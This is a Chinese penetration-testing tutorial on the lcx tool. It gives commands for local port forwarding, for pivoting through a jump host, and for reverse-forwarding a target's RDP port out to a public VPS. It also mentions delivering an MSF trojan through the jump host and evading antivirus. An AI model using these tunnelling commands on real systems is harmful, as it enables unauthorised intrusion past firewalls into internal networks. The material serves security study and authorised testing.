一、Lcx的运行环境
在实际渗透过程中,我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口等等。
适用端口转发的网络环境有以下几种:
1、服务器处于内网,可以出网。
2、服务器处于外网,可以出网,但是服务器安装了防火墙来拒绝敏感端口的连接。
3、服务器处于内网,对外只开放了80端口,并且服务器不能出网。
对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络。
二、本地端口转发(防火墙限制端口时)
lcx.exe –tran 666 127.0.0.1 3389 #将3389端口转发到本地666端口
②利用B跳板把C主机端口带出来
lcx.exe -tran <B主机端口> <C主机ip> <C主机端口> #连接B主机的端口就相当于连接了C主机端口
三、lcx反向端口转发
①转发目标本机端口
目标主机执行:
lcx.exe –slave 139.XXX.XX.113 9000 127.0.0.1 3389 #将目标机器3389端口的所有流量,都转发给公网VPS的9000端口
vps执行:
lcx.exe –listen 9000 5555 #监听本地9000端口,将收到的流量转发到本机的5555端口上
然后用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。即可访问右侧内部网络中10.48.128.25服务器的3389端口。
②通过B跳板转发内网C端口
B主机执行:
lcx.exe –slave vps的ip 9000 C主机ip 3389 #将内网C机器3389端口的所有流量,都通过B主机转发给公网VPS的9000端口
vps执行:
lcx.exe –listen 9000 5555 #监听本地9000端口,将收到的流量转发到本机的5555端口上
然后连接vps本地5555端口就相当于连接到了内网C主机的3389端口
四、通过端口转发让内网主机上线:
场景:(B主机可以出网,内网主机只能访问B,不能出网,所以通过B跳板让内网主机上线)
B主机用lcx执行,这里用的portmap相当于lcx的-tran:
然后MSF生成木马(lhost=B跳板ip,lport=B跳板端口)
执行payload就能上线:
五、lcx的缺点
Lcx工具实现的是一对一的端口转发,如果想访问右侧网络中列出的所有端口,就必须一次次的重复lcx的转发过程,效率相当低下。而且服务器都是有装有杀毒软件的,即使有做免杀也不能保证绕过所有的杀毒。